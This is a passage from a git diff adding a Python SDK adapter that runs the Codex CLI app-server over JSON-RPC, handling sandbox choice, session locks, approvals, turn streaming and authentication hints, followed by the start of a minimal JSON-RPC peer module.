errors.UnsupportedError( + KIND, + f"sandbox={self._sandbox!r} on a {workspace.kind} workspace", + "codex's own sandbox cannot start inside the VM, so every " + "command would fail; leave `sandbox` unset there (the VM " + "is the isolation boundary)", + ) + probe = await self._probe(workspace) + if probe.exit_code != 0 and workspace.owner == "provider": + # Ours to provision. Never on a user's own machine. + await workspace.exec(["sh", "-c", INSTALL], timeout=600) + probe = await self._probe(workspace) + if probe.exit_code != 0: + raise errors.ExecutableMissingError(KIND, self._executable, INSTALL) + self._version = probe.stdout.strip().splitlines()[0] or None + self._workspace = workspace + if not self._sandbox_explicit: + # On a provider-owned microVM the VM *is* the isolation + # boundary, and codex's own sandbox cannot start nested inside + # it (see above). On the user's own machine, read-only stays + # the safe default. + self._sandbox = ( + "danger-full-access" + if workspace.owner == "provider" + else "read-only" + ) + self._lock = _session_lock.SessionLock(workspace, KIND) + await self._launch(workspace) + + def _auth_hint(self) -> str: + if self._gateway is not None and self._gateway.is_brokered: + return BROKERED_HINT.format(host=self._gateway.host) + return AUTH_HINT + + async def _launch(self, workspace: _base.Workspace) -> None: + """Spawn app-server and complete the handshake. + + Called at start, and again on demand after a crash: one app-server + serves every session, so when it dies the harness would otherwise + be dead for good while claude — which spawns a CLI per session — + simply carries on. Same SDK, same behaviour: the next piece of work + gets a fresh server. Sessions that lived on the dead one are gone + from memory, and a turn on one of them raises AgentCrashedError. + """ + # The workspace applies its own environment to everything it spawns + # — that is where the TASK's configuration belongs. A gateway's is + # this harness's credentials, narrower, so it goes on top. + self._process = await workspace.spawn( + [self._executable, "app-server", *_config_args(self._config)], + env=self._gateway_env or None, + ) + self._peer = jsonrpc.JsonRpcPeer(self._process, harness=KIND) + self._peer.start( + self._on_notify, self._on_request, on_crash=self._on_crash + ) + try: + await self._peer.call( + "initialize", + { + "clientInfo": { + "name": "ai-python", + "title": "AI SDK for Python", + "version": importlib.metadata.version("ai"), + } + }, + timeout=60, + ) + await self._peer.notify("initialized") + except BaseException: + # A failed handshake must not leave the server running. + await self.close() + raise + + async def _ensure_running(self) -> None: + """Relaunch after a crash, before beginning new work.""" + if ( + self._peer is None + and self._workspace is not None + and not self._closed + ): + await self._launch(self._workspace) + + async def _probe(self, workspace: _base.Workspace) -> _base.ExecResult: + return await workspace.exec([self._executable, "--version"], timeout=60) + + async def close(self) -> None: + self._closed = True + if self._peer is not None: + await self._peer.close() + self._peer = None + if self._process is not None: + with contextlib.suppress(Exception): + await self._process.terminate() + self._process = None + for session_id in list(self._held): + await self._release(session_id) + self._threads.clear() + + async def detach(self) -> None: + """Let go without terminating app-server. + + Stop reading (close the peer) and drop the input conduit, leaving + the process running — its FIFO stdin is held open, so it sees no EOF. + Unlike close(), no terminate is attempted; whether the harness lives + on is the workspace's `keep` decision. + """ + self._closed = True + if self._peer is not None: + with contextlib.suppress(Exception): + await self._peer.close() + self._peer = None + if self._process is not None: + with contextlib.suppress(Exception): + await self._process.detach() + self._process = None + self._threads.clear() + self._queues.clear() + + def _rpc(self) -> jsonrpc.JsonRpcPeer: + if self._peer is None: + raise errors.AgentCrashedError(KIND, "app-server is not running") + return self._peer + + # -- sessions ------------------------------------------------------------- + + async def new_session( + self, history: list[messages_.Message] | None = None + ) -> str: + assert self._workspace is not None + await self._ensure_running() + result = await self._rpc().call( + "thread/start", + { + "cwd": self._workspace.path, + "sandbox": self._sandbox, + # With a hook: ask about everything the policy can ask + # about, and the hook decides. Without one there is no + # policy to consult, so the server never asks — a request + # that must round-trip to this process would freeze an + # agent whose controller is gone (measured). + "approvalPolicy": "untrusted" if self.approve else "never", + **({"model": self._model} if self._model else {}), + }, + ) + thread_id = str((result or {}).get("thread", {}).get("id") or "") + if not thread_id: + raise errors.AgentCrashedError( + KIND, f"thread/start returned no id: {result}" + ) + self._threads.add(thread_id) + await self._acquire(thread_id) + if history: + # The thread's model-visible history, before the first turn. + await self._rpc().call( + "thread/inject_items", + { + "threadId": thread_id, + "items": _handoff.to_codex_items(history), + }, + ) + return thread_id + + async def resume_session(self, session_id: str) -> None: + await self._ensure_running() + await self._require_here(session_id) + await self._acquire(session_id) + try: + await self._rpc().call("thread/resume", {"threadId": session_id}) + except jsonrpc.JsonRpcError as exc: + await self._release(session_id) + if "active writer" in str(exc): + raise errors.SessionBusyError( + session_id, None, str(exc) + ) from exc + raise errors.ResumeFailedError(session_id, str(exc)) from exc + self._threads.add(session_id) + + async def _require_here(self, session_id: str) -> dict[str, Any]: + """Refuse a thread that belongs to a different workspace. + + Codex's thread store is global, not per-directory, so resuming a + conversation from another project SUCCEEDS natively — and the agent + would then carry a transcript about files that are not here. The + SDK scopes conversations to their workspace on every harness, so + this is enforced rather than inherited. + """ + assert self._workspace is not None + try: + result = await self._rpc().call( + "thread/read", {"threadId": session_id} + ) + except jsonrpc.JsonRpcError as exc: + raise errors.ResumeFailedError(session_id, str(exc)) from exc + thread = (result or {}).get("thread") or {} + if not thread: + raise errors.ResumeFailedError(session_id, "no such thread") + cwd = thread.get("cwd") + if cwd is not None and cwd != self._workspace.path: + raise errors.ResumeFailedError( + session_id, + f"that conversation belongs to {cwd}, not " + f"{self._workspace.path}", + ) + return thread + + async def _acquire(self, session_id: str) -> None: + """One writer per thread. + + app-server enforces it too; the lock makes the refusal ours, uniform + across harnesses, and visible in listings. + """ + if self._lock is None or session_id in self._held: + return + pid = ( + await self._process.os_pid() if self._process is not None else None + ) + await self._lock.acquire(session_id, pid=pid, client=KIND) + self._held.add(session_id) + + async def _release(self, session_id: str) -> None: + self._held.discard(session_id) + if self._lock is not None: + with contextlib.suppress(Exception): + await self._lock.release(session_id) + + async def prepare_tui(self) -> None: + """On a sandbox that is ours, make sure codex is current. + + The TUI opens on an "Update now / Skip" dialog when a newer release + exists, its default runs an installer, and the first keystrokes meant + for the prompt pick it (measured — once on a user's own machine, + which is exactly why this never touches one). The provider itself + needs no seeding: it comes from the same -c overrides headless uses. + """ + if self._workspace is None or self._workspace.owner != "provider": + return + # codex >= 0.158 opens a per-folder trust dialog ("Trust this folder? + # 1. Trust and continue 2. Quit") the first time its TUI runs in a + # directory. Record the trust in its config so the TUI opens on the + # prompt — on a VM that is ours, never in a user's own config. + home = await self._workspace.home() + config_path = f"{home}/.codex/config.toml" + try: + config = await self._workspace.read_text(config_path) + except FileNotFoundError: + config = "" + workdir = self._workspace.path + if f'[projects."{workdir}"]' not in config: + trust = f'\n[projects."{workdir}"]\ntrust_level = "trusted"\n' + await self._workspace.write_text(config_path, config + trust) + have = ( + await self._workspace.exec( + [self._executable, "--version"], timeout=60 + ) + ).stdout.split() + want = ( + await self._workspace.exec( + ["npm", "view", "@openai/codex", "version"], timeout=120 + ) + ).stdout.strip() + if want and have and have[-1] != want: + await self._workspace.exec(["sh", "-c", INSTALL], timeout=600) + + def tui_launch( + self, session_id: str | None + ) -> tuple[list[str], dict[str, str], str | None]: + assert self._workspace is not None + # --disable in_app_updates: measured, the TUI otherwise opens on an + # "Update now / Skip" dialog whose default runs an npm install inside + # the VM, and the first keystrokes meant for the prompt pick it. + argv = [ + self._executable, + *(["resume", session_id] if session_id else []), + "--disable", + "in_app_updates", + *_config_args(self._config), + ] + if self._model: + argv += ["--model", self._model] + env = { + "TERM": "xterm-256color", + **dict(self._workspace.env), + **self._gateway_env, + } + # None: codex mints its own thread id, so a NEW TUI conversation is + # not locked up front — its id is learned from the store afterwards. + # A resumed one is locked via resume_session_lock. The provider comes + # from the same -c overrides headless uses, so no config seeding. + return argv, env, None + + async def claim_new_session(self, session_id: str) -> None: + await self._acquire(session_id) + + async def record_tui_pid(self, session_id: str, pid: int | None) -> None: + if self._lock is not None and pid is not None: + await self._lock.claim_pid(session_id, pid, client=KIND) + + async def release_tui_lock(self, session_id: str) -> None: + await self._release(session_id) + + async def resume_session_lock(self, session_id: str) -> None: + await self._require_here(session_id) + # If THIS adapter holds the thread headless, the TUI is about to be + # the writer: hand it over, or codex itself will block the TUI. + await self._hand_over(session_id) + await self._acquire(session_id) + + async def running_sessions(self) -> set[str]: + return await self._lock.running() if self._lock is not None else set() + + async def close_session(self, session_id: str) -> None: + self._threads.discard(session_id) + self._queues.pop(session_id, None) + await self._release(session_id) + + async def stage_history(self, history: list[messages_.Message]) -> str: + """Create a thread with this past and start nothing on it. + + Codex has no store-level import: the thread is created and its + history injected through app-server, which then HOLDS it (codex's + cross-process writer lock is a file, ~/.codex/thread-writer-locks/ + .lock, and only ending the holder releases it). So this ends + this client's app-server afterwards — it relaunches lazily — and the + thread's rollout stays on disk (measured: 45 KB with the injected + text, resumable by `codex resume `). Two codex facts a caller + should know: app-server does not list a thread until it has had a + turn, so `sessions()` shows it after the first one; and the TUI + treats injected history as the model's context, not as transcript + it redraws — the agent knows the past, the screen does not show it. + """ + assert self._workspace is not None + await self._ensure_running() + result = await self._rpc().call( + "thread/start", + { + "cwd": self._workspace.path, + "sandbox": self._sandbox, + "approvalPolicy": "untrusted" if self.approve else "never", + **({"model": self._model} if self._model else {}), + }, + ) + thread_id = str((result or {}).get("thread", {}).get("id") or "") + if not thread_id: + raise errors.AgentCrashedError( + KIND, f"thread/start returned no id: {result}" + ) + await self._rpc().call( + "thread/inject_items", + {"threadId": thread_id, "items": _handoff.to_codex_items(history)}, + ) + if self._threads: + # Other conversations are live on this server: do not end it. + # The thread stays held until close()/detach(); say so. + raise errors.SessionBusyError( + thread_id, + None, + "this client holds other conversations headless; close() them " + "first", + ) + await self._stop_server() + return thread_id + + async def _stop_server(self) -> None: + if self._peer is not None: + await self._peer.close() + self._peer = None + if self._process is not None: + with contextlib.suppress(Exception): + await self._process.terminate() + self._process = None + self._threads.clear() + self._queues.clear() + + async def _held_elsewhere(self, session_id: str) -> bool: + """Return whether codex's own writer lock for this thread exists. + + Held by any process, this one included. + """ + assert self._workspace is not None + return await self._workspace.exists( + f"{await self._workspace.home()}/.codex/thread-writer-locks/" + f"{session_id}.lock" + ) + + async def _hand_over(self, session_id: str) -> None: + """Release a thread this app-server holds. + + Another process can then drive it. + + Codex enforces one writer ACROSS processes: a TUI resuming a thread + that a live app-server has loaded shows "this conversation is open + in another app" and waits. Measured: `thread/unsubscribe` answers + `unsubscribed` but the thread stays in `thread/loaded/list` and the + TUI stays blocked — only ending the app-server releases it, and + there is no unload call. So: if this thread is the only one loaded, + stop the server (it relaunches lazily for the next headless call); + if others are loaded too, refuse rather than drop their work. + """ + if not await self._held_elsewhere(session_id): + return + if session_id not in self._threads: + raise errors.SessionBusyError( + session_id, None, "another codex process holds this thread" + ) + if self._threads - {session_id}: + raise errors.SessionBusyError( + session_id, + None, + "this client holds it headless alongside other conversations; " + + "close() or detach() it first", + ) + await self._stop_server() + + async def list_sessions(self) -> list[_session.SessionInfo]: + await self._ensure_running() + assert self._workspace is not None + result = await self._rpc().call("thread/list", {}) + threads = (result or {}).get("data") or [] + here = self._workspace.path + return [ + _session.SessionInfo( + kind=KIND, + session_id=t.get("id", ""), + title=t.get("name") or t.get("preview") or None, + cwd=t.get("cwd"), + updated_at=t.get("updatedAt"), + created_at=t.get("createdAt"), + ) + for t in threads + # Scoped to this workspace, like the Claude adapter: "the + # conversations that happened here" is the useful question. + if t.get("id") and (t.get("cwd") in (None, here)) + ] + + async def history( + self, session_id: str, *, limit: int | None = None, offset: int = 0 + ) -> list[messages_.Message]: + """Return the thread's stored record, in full. + + `itemsView: "full"` is "every ThreadItem available from persisted + history". The summary view exists and is never used. + """ + await self._ensure_running() + await self._require_here(session_id) + try: + result = await self._rpc().call( + "thread/read", + { + "threadId": session_id, + "includeTurns": True, + "itemsView": "full", + }, + ) + except jsonrpc.JsonRpcError as exc: + raise errors.ResumeFailedError(session_id, str(exc)) from exc + messages: list[messages_.Message] = [] + thread = (result or {}).get("thread") or {} + if not thread: + raise errors.ResumeFailedError(session_id, "no such thread") + for turn in thread.get("turns") or []: + for item in turn.get("items") or []: + messages.extend(_item_to_messages(item, replay=True)) + window = messages[offset:] + return window[:limit] if limit is not None else window + + async def fork(self, session_id: str) -> str: + await self._ensure_running() + await self._require_here(session_id) + try: + result = await self._rpc().call( + "thread/fork", {"threadId": session_id} + ) + except jsonrpc.JsonRpcError as exc: + raise errors.ResumeFailedError( + session_id, f"fork failed: {exc}" + ) from exc + forked = str((result or {}).get("thread", {}).get("id") or "") + if not forked: + raise errors.ResumeFailedError( + session_id, f"fork returned no thread id: {result}" + ) + self._threads.add(forked) + await self._acquire(forked) + return forked + + # -- notifications & approvals -------------------------------------------- + + async def _on_notify(self, method: str, params: dict[str, Any]) -> None: + thread_id = params.get("threadId") or (params.get("thread") or {}).get( + "id" + ) + if method == "turn/started": + turn = params.get("turn") or {} + if thread_id and turn.get("id"): + self._active_turn[thread_id] = turn["id"] + elif method == "thread/tokenUsage/updated" and thread_id: + self._usage[thread_id] = _usage(params.get("tokenUsage") or {}) + queue = self._queues.get(thread_id or "") + if queue is not None: + queue.put_nowait((method, params)) + + def _on_crash(self, exc: BaseException) -> None: + """Handle the process being gone. + + Every turn still listening hears it now, as a message on its own queue, + so the wait ends the same way any other notification would — and turn() + turns it into AgentCrashedError. The dead peer is dropped so the next + new session relaunches. + """ + # The peer already raised an AgentCrashedError; carry its detail, not + # its str(), or the caller reads "codex crashed: codex crashed: …". + detail = getattr(exc, "detail", None) or str(exc) + for queue in list(self._queues.values()): + queue.put_nowait((CRASHED, {"detail": detail})) + # Drop the peer so the next new work relaunches. KEEP the process + # handle: close() still owns terminating it, and terminate() on a + # pid that is already gone is harmless. + self._peer = None + self._threads.clear() + + async def _on_request( + self, request_id: Any, method: str, params: dict[str, Any] + ) -> None: + if method not in APPROVAL_METHODS: + # Unknown server request: decline rather than hang the agent + # waiting for an answer we do not know how to give. + await self._rpc().respond(request_id, {"decision": "decline"}) + return + decision = await self._decide(method, params) + await self._rpc().respond(request_id, {"decision": decision}) + # Only NOW interrupt. codex will not process turn/interrupt while + # this approval is unanswered, so awaiting it inside _decide stalled + # for the full 120s RPC timeout before the decline even went out — + # measured 123s to settle a Deny(stop=True). The outcome was right + # and two minutes late, and a test asserting only the outcome passed. + pending = self._pending_interrupt.pop( + params.get("threadId") or "", None + ) + if pending: + with contextlib.suppress(Exception): + await self._rpc().call("turn/interrupt", pending, timeout=30) + + async def _decide(self, method: str, params: dict[str, Any]) -> str: + thread_id = params.get("threadId") or "" + if self.approve is None: + # Unreachable by policy ("never" asks nothing); answered anyway + # so an unexpected request cannot hang the agent. + return "accept" + try: + assert self._workspace is not None + call = _approval.ToolCall( + id=str(params.get("itemId") or params.get("callId") or ""), + name=_approval_tool_name(method, params), + input=_approval_input(params), + kind=method.rsplit("/", 2)[-2] if "/" in method else None, + hints={ + "reason": params.get("reason"), + "turnId": params.get("turnId"), + }, + raw=dict(params), + ) + request = _approval.ApprovalContext( + call=call, + history=list(self.live_history(thread_id)), + workspace=self._workspace, + harness=KIND, + session_id=thread_id, + ) + async with asyncio.timeout(self.approval_timeout): + decision = await self.approve(request) + except Exception as exc: + self._record_error(f"{type(exc).__name__}: {exc}") + return "decline" + if isinstance(decision, _approval.Deny): + if decision.stop and thread_id: + self._interrupted.add(thread_id) + turn_id = self._active_turn.get(thread_id) + if turn_id: + # Deferred to _on_request, after the decline is answered. + self._pending_interrupt[thread_id] = { + "threadId": thread_id, + "turnId": turn_id, + } + return "decline" + if isinstance(decision, _approval.Allow): + if decision.input is not None: + self._pending_error = errors.UnsupportedError( + KIND, + "rewrite_tool_input", + "app-server approvals are accept/acceptForSession/decline", + ) + return "decline" + if decision.remember: + self._pending_error = errors.UnsupportedError( + KIND, + "remember", + "acceptForSession did not suppress the next identical " + + "request when measured against a real app-server", + ) + return "decline" + return "accept" + return "decline" + + def _record_error(self, detail: str) -> None: + if callable(self.on_approval_error): + self.on_approval_error(detail) + + # -- turns ---------------------------------------------------------------- + + async def turn( + self, session_id: str, prompt: str + ) -> AsyncIterator[events_.AgentEvent]: + queue: asyncio.Queue[Any] = asyncio.Queue() + self._queues[session_id] = queue + self._interrupted.discard(session_id) + self._usage.pop(session_id, None) + parts: list[Any] = [] + # Narration the model emits before acting; streamed, but kept out of + # the settled answer. + preamble: list[Any] = [] + open_text: set[str] = set() + names: dict[str, str] = {} + self._pending_error = None + # The last transport error codex reported while retrying. If the + # turn then fails without a message of its own, this is the only + # explanation anyone gets. + last_error = "" + try: + started = await self._rpc().call( + "turn/start", + { + "threadId": session_id, + "input": [{"type": "text", "text": prompt}], + }, + ) + except jsonrpc.JsonRpcError as exc: + raise errors.TurnFailedError(KIND, str(exc)) from exc + # The turn id comes from the RESPONSE. There is a `turn/started` + # notification in the protocol but this server does not send one, + # and both steer and interrupt require the id — without it, stop() + # silently did nothing and the turn ran on. + turn_id = ((started or {}).get("turn") or {}).get("id") + if turn_id: + self._active_turn[session_id] = turn_id + # StreamStart only AFTER the turn exists. Emitting it first let a + # consumer act on the stream's first event — steer, for instance — + # before there was any turn to act on. + yield events_.StreamStart() + while True: + method, params = await queue.get() + if method == CRASHED: + self._queues.pop(session_id, None) + raise errors.AgentCrashedError( + KIND, params.get("detail") or "process exited mid-turn" + ) + # An interrupted turn's notifications can still be in flight when + # the next one starts. Without this the new turn settles on the + # OLD turn's completion and comes back empty. + other = params.get("turnId") or (params.get("turn") or {}).get("id") + if turn_id and other and other != turn_id: + continue + if method == "item/agentMessage/delta": + item_id = params.get("itemId", "") + if item_id not in open_text: + open_text.add(item_id) + yield events_.TextStart(block_id=item_id) + yield events_.TextDelta( + chunk=params.get("delta", ""), block_id=item_id + ) + elif method in ( + "item/reasoning/textDelta", + "item/reasoning/summaryTextDelta", + ): + yield events_.ReasoningDelta( + chunk=params.get("delta", ""), + block_id=params.get("itemId", ""), + ) + elif method == "item/started": + item = params.get("item") or {} + if item.get("type") in TOOL_ITEMS: + names[item.get("id", "")] = _tool_name(item) + yield events_.ToolStart( + tool_call_id=item.get("id", ""), + tool_name=_tool_name(item), + ) + elif method == "item/completed": + item = params.get("item") or {} + for event in _completed_events( + item, open_text, parts, names, preamble + ): + yield event + elif method == "turn/completed": + self._active_turn.pop(session_id, None) + if self._pending_error is not None: + error, self._pending_error = self._pending_error, None + self._queues.pop(session_id, None) + raise error + usage = self._usage.get(session_id, usage_.Usage()) + interrupted = session_id in self._interrupted + self._interrupted.discard(session_id) + self._queues.pop(session_id, None) + # A failed turn says so on the way out. Reporting it as a + # normal stop with empty text turns "401 Unauthorized" into + # silence, which is what it did. + completed = params.get("turn") or {} + if completed.get("status") == "failed" and not interrupted: + raise _turn_failure( + _failure_detail(completed) or last_error, + hint=self._auth_hint(), + ) + yield events_.StreamEnd( + # Fall back to the preamble only if the model never gave + # a final answer — better a preamble than nothing. + message=messages_.Message( + role="assistant", parts=parts or preamble + ), + usage=usage, + finish_reason="cancelled" if interrupted else "stop", + ) + return + elif method == "turn/failed": + self._queues.pop(session_id, None) + raise _turn_failure( + _failure_detail(params), hint=self._auth_hint() + ) + elif method == "error": + # Codex reports transport trouble as it retries. Keep the + # last one: if the turn then fails without a message of its + # own, this is the only explanation anyone gets. + last_error = _error_message(params) or last_error + + async def steer(self, session_id: str, text: str) -> None: + turn_id = self._active_turn.get(session_id) + if not turn_id: + raise RuntimeError("no active turn to steer") + try: + await self._rpc().call( + "turn/steer", + { + "threadId": session_id, + # A precondition, not decoration: steering the wrong turn + # is worse than failing to steer. + "expectedTurnId": turn_id, + "input": [{"type": "text", "text": text}], + }, + ) + except jsonrpc.JsonRpcError as exc: + raise errors.TurnFailedError( + KIND, f"steer rejected: {exc}" + ) from exc + + async def stop(self, session_id: str) -> None: + turn_id = self._active_turn.get(session_id) + self._interrupted.add(session_id) + if not turn_id: + return + with contextlib.suppress(Exception): + await self._rpc().call( + "turn/interrupt", {"threadId": session_id, "turnId": turn_id} + ) + + +def _tool_name(item: dict[str, Any]) -> str: + # Never the command line: that made every shell call a differently named + # tool. The command is in the call's arguments (`_tool_args`), and the + # approval hook sees the same native name (`_approval_tool_name`). + return ( + item.get("toolName") or item.get("server") or item.get("type") or "tool" + ) + + +def _approval_tool_name(method: str, params: dict[str, Any]) -> str: + """Return the NATIVE tool identifier: the item kind, never the args. + + This once returned the command line itself for command executions, so + `ctx.call.name` was a different string per command and a hook could not + key a policy on it. Found only in a sandbox: there codex runs with full + access and writes files through the shell, so the name became + `/bin/bash -lc "printf 'OK' > notes.txt"`; locally the same write went + through fileChange and nothing looked wrong. The command is in `input`. + """ + if "commandExecution" in method or "execCommand" in method: + return "commandExecution" + if "fileChange" in method or "applyPatch" in method: + return "fileChange" + return method.rsplit("/", 1)[-1] + + +def _approval_input(params: dict[str, Any]) -> dict[str, Any]: + return { + k: v + for k, v in params.items() + if k not in ("threadId", "turnId", "itemId") and v is not None + } + + +def _completed_events( + item: dict[str, Any], + open_text: set[str], + parts: list[Any], + names: dict[str, str], + preamble: list[Any], +) -> list[Any]: + out: list[Any] = [] + item_id = item.get("id", "") + kind = item.get("type") + if kind == "agentMessage": + if item_id in open_text: + open_text.discard(item_id) + out.append(events_.TextEnd(block_id=item_id)) + if item.get("text"): + # Codex labels its messages: "commentary" is the preamble it + # narrates before acting, "final_answer" is the reply. Both are + # streamed, but only the answer belongs in the settled message — + # otherwise result.text reads "I'll read util.py.add". + part = messages_.TextPart(text=item["text"]) + if item.get("phase") == "commentary": + preamble.append(part) + else: + parts.append(part) + elif kind == "reasoning": + text = _reasoning_text(item) + if text: + parts.append(messages_.ReasoningPart(text=text)) + elif kind in TOOL_ITEMS: + call = messages_.ToolCallPart( + tool_call_id=item_id, + tool_name=names.get(item_id) or _tool_name(item), + tool_args=json.dumps(_tool_args(item)), + ) + parts.append(call) + # The arguments must ride a ToolDelta: the hydrator assembles a + # call only from deltas, and overwrites ToolEnd.tool_call with the + # result. See the claude adapter for the same rule. + out.append( + events_.ToolDelta(tool_call_id=item_id, chunk=call.tool_args) + ) + out.append(events_.ToolEnd(tool_call_id=item_id, tool_call=call)) + result = messages_.ToolResultPart( + tool_call_id=item_id, + tool_name=call.tool_name, + result=item.get("output") + or item.get("changes") + or item.get("result"), + result_kind="error" if item.get("status") == "failed" else "json", + ) + out.append( + events_.ToolCallResult( + message=messages_.Message(role="tool", parts=[result]), + results=[result], + ) + ) + return out + + +def _reasoning_text(item: dict[str, Any]) -> str: + """Codex reports reasoning as either text or a LIST of summary parts.""" + text = item.get("text") + if isinstance(text, str) and text: + return text + summary = item.get("summary") + if isinstance(summary, str): + return summary + if isinstance(summary, list): + return "".join(part for part in summary if isinstance(part, str)) + return "" + + +def _tool_args(item: dict[str, Any]) -> dict[str, Any]: + return { + k: v + for k, v in item.items() + if k in ("command", "changes", "arguments", "query", "path", "cwd") + } + + +def _item_to_messages( + item: dict[str, Any], *, replay: bool = False +) -> list[messages_.Message]: + kind = item.get("type") + if kind == "userMessage": + # A user item carries `content` blocks, not a flat `text`. + text = item.get("text") + if not isinstance(text, str): + text = "".join( + block.get("text", "") + for block in item.get("content") or [] + if isinstance(block, dict) + ) + return [ + messages_.Message( + role="user", + parts=[messages_.TextPart(text=text)], + replay=replay, + ) + ] + if kind == "agentMessage" and item.get("text"): + return [ + messages_.Message( + role="assistant", + parts=[messages_.TextPart(text=item["text"])], + replay=replay, + ) + ] + if kind == "reasoning" and _reasoning_text(item): + return [ + messages_.Message( + role="assistant", + parts=[messages_.ReasoningPart(text=_reasoning_text(item))], + replay=replay, + ) + ] + if kind in TOOL_ITEMS: + call = messages_.ToolCallPart( + tool_call_id=item.get("id", ""), + tool_name=_tool_name(item), + tool_args=json.dumps(_tool_args(item)), + ) + result = messages_.ToolResultPart( + tool_call_id=item.get("id", ""), + tool_name=call.tool_name, + result=item.get("output") or item.get("changes"), + result_kind="error" if item.get("status") == "failed" else "json", + ) + return [ + messages_.Message(role="assistant", parts=[call], replay=replay), + messages_.Message(role="tool", parts=[result], replay=replay), + ] + return [] + + +def _usage(raw: dict[str, Any]) -> usage_.Usage: + totals = raw.get("total") or raw.get("lastTurn") or raw + + def count(*names: str) -> int: + for name in names: + value = totals.get(name) + if isinstance(value, int): + return value + return 0 + + return usage_.Usage( + input_tokens=count("inputTokens", "input_tokens"), + output_tokens=count("outputTokens", "output_tokens"), + cache_read_tokens=count("cachedInputTokens", "cached_input_tokens"), + reasoning_tokens=count( + "reasoningOutputTokens", "reasoning_output_tokens" + ), + raw={"codex": raw}, + ) + + +def _error_message(payload: dict[str, Any]) -> str: + error = payload.get("error") + if isinstance(error, dict): + detail = error.get("additionalDetails") or "" + message = str(error.get("message") or "") + return f"{message} {detail}".strip() + return str(error or "") + + +def _failure_detail(payload: dict[str, Any]) -> str: + """Whatever codex can tell us about why a turn failed.""" + return _error_message(payload)[:500] + + +AUTH_HINT = ( + "codex authenticates where it RUNS, and `codex login` on your machine " + "does not travel to a sandbox. Give it a way to reach a model: " + "VercelSandbox(gateway=vercel_ai_gateway()) injects a gateway key at " + "egress, Local(path, env={'OPENAI_API_KEY': ...}) or " + "VercelSandbox(env={...}) " + "puts a key of its own in the environment, or point codex at another " + "provider with codex(config={'model_provider': ..., " + "'model_providers..base_url': ...})." +) +BROKERED_HINT = ( + "This workspace injects the credential into requests to {host} at egress, " + "so codex never held it and no login in the VM is involved. A 401 here " + "means the gateway rejected the injected key — check AI_GATEWAY_API_KEY on " + "the machine that opened the sandbox — or the egress policy is not " + "rewriting requests to that host." +) + + +def gateway_config(gateway: _gateway.Gateway | None) -> dict[str, str]: + """Tell codex where its model is: a provider table, as `-c` overrides. + + The table names the env var that carries the key; it never carries the key + itself. This is the one place that spelling lives. + """ + if gateway is None: + return {} + return { + "model_provider": "vercel", + "model_providers.vercel.name": "Vercel AI Gateway", + "model_providers.vercel.base_url": f"{gateway.base_url}/codex/v1", + "model_providers.vercel.env_key": _gateway.KEY_VAR, + # Required: codex no longer speaks Chat Completions. + "model_providers.vercel.wire_api": "responses", + } + + +def gateway_env(gateway: _gateway.Gateway | None) -> dict[str, str]: + """Return the other half: the variable the provider table names.""" + return {} if gateway is None else {_gateway.KEY_VAR: gateway.credential} + + +def _turn_failure(detail: str, *, hint: str = AUTH_HINT) -> Exception: + """Rename the failure for what the caller has to fix.""" + if errors._looks_unauthenticated(detail): + return workspace_errors.NotAuthenticatedError(KIND, detail, hint) + return errors.TurnFailedError(KIND, detail) + + +def _config_args(config: dict[str, Any]) -> list[str]: + """`-c key=value` pairs, with values rendered as TOML. + + JSON string/number/bool literals are valid TOML, so json.dumps is the + right renderer for the scalars anyone actually passes here. + """ + args: list[str] = [] + for key, value in config.items(): + args += ["-c", f"{key}={json.dumps(value)}"] + return args diff --git a/src/ai/harnesses/experimental/_adapters/jsonrpc.py b/src/ai/harnesses/experimental/_adapters/jsonrpc.py new file mode 100644 index 00000000..c4d6acb9 --- /dev/null +++ b/src/ai/harnesses/experimental/_adapters/jsonrpc.py @@ -0,0 +1,199 @@ +"""A small JSON-RPC 2.0 peer over a workspace process's stdio. + +Deliberately minimal: line-delimited JSON, request/response futures, and +two callbacks for the things a server can initiate. Nothing here is +protocol-specific — the Codex adapter supplies the meaning. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import json +from collections.abc import Awaitable, Callable +from typing import TYPE_CHECKING, Any + +from .. import errors + +if TYPE_CHECKING: + from ....workspaces.experimental import _base + +NotifyHandler = Callable[[str, dict[str, Any]], Awaitable[None]] +RequestHandler = Callable[[Any, str, dict[str, Any]], Awaitable[None]] + + +class JsonRpcPeer: + def __init__(self, process: _base.Process, *, harness: str) -> None: + self._process = process + self._harness = harness + self._next_id = 0 + self._waiters: dict[int, asyncio.Future[Any]] = {} + self._pump: asyncio.Task[None] | None = None + self._closed = False + self._on_crash: Callable[[BaseException], None] | None = None + + def start( + self, + on_notify: NotifyHandler, + on_request: RequestHandler, + on_crash: Callable[[BaseException], None] | None = None, + ) -> None: + # `on_crash` is for listeners, not callers. A turn does not await a + # request/response future; it waits on a stream of notifications. + # When the process dies, failing the futures wakes nobody who was + # listening — measured: a SIGKILLed codex left the turn blocked for + # the full 300s test timeout, with no AgentCrashedError ever raised. + self._on_crash = on_crash + self._pump = asyncio.create_task(self._read_loop(on_notify, on_request)) + + async def close(self) -> None: + self._closed = True + if self._pump is not None: + self._pump.cancel() + with contextlib.suppress(asyncio.CancelledError, Exception): + await self._pump + self._pump = None + # Nobody is coming with an answer; wake every caller rather than + # leaving them awaiting a future that can never resolve. A close is + # not a crash: the owner is shutting down on purpose and still holds + # the process to terminate, so `on_crash` must NOT fire here — when + # it did, the adapter dropped its process handle and close() never + # terminated the server, leaving it alive holding thread locks. + self._fail_pending( + errors.AgentCrashedError(self._harness, "connection closed"), + crashed=False, + ) + + def _fail_pending( + self, exc: BaseException, *, crashed: bool = True + ) -> None: + for future in list(self._waiters.values()): + if not future.done(): + future.set_exception(exc) + self._waiters.clear() + if crashed and self._on_crash is not None: + with contextlib.suppress(Exception): + self._on_crash(exc) + + async def call( + self, method: str, params: Any = None, *, timeout: float = 120 + ) -> Any: + if self._closed: + raise errors.AgentCrashedError( + self._harness, "connection is closed" + ) + self._next_id += 1 + request_id = self._next_id + future: asyncio.Future[Any] = asyncio.get_running_loop().create_future() + self._waiters[request_id] = future + await self._send( + { + "jsonrpc": "2.0", + "id": request_id, + "method": method, + **({"params": params} if params is not None else {}), + } + ) + try: + async with asyncio.timeout(timeout): + return await future + finally: + self._waiters.pop(request_id, None) + + async def notify(self, method: str, params: Any = None) -> None: + await self._send( + { + "jsonrpc": "2.0", + "method": method, + **({"params": params} if params is not None else {}), + } + ) + + async def respond(self, request_id: Any, result: Any) -> None: + await self._send({"jsonrpc": "2.0", "id": request_id, "result": result}) + + async def _send(self, message: dict[str, Any]) -> None: + try: + await self._process.write(json.dumps(message) + "\n") + except Exception as exc: + raise errors.AgentCrashedError( + self._harness, 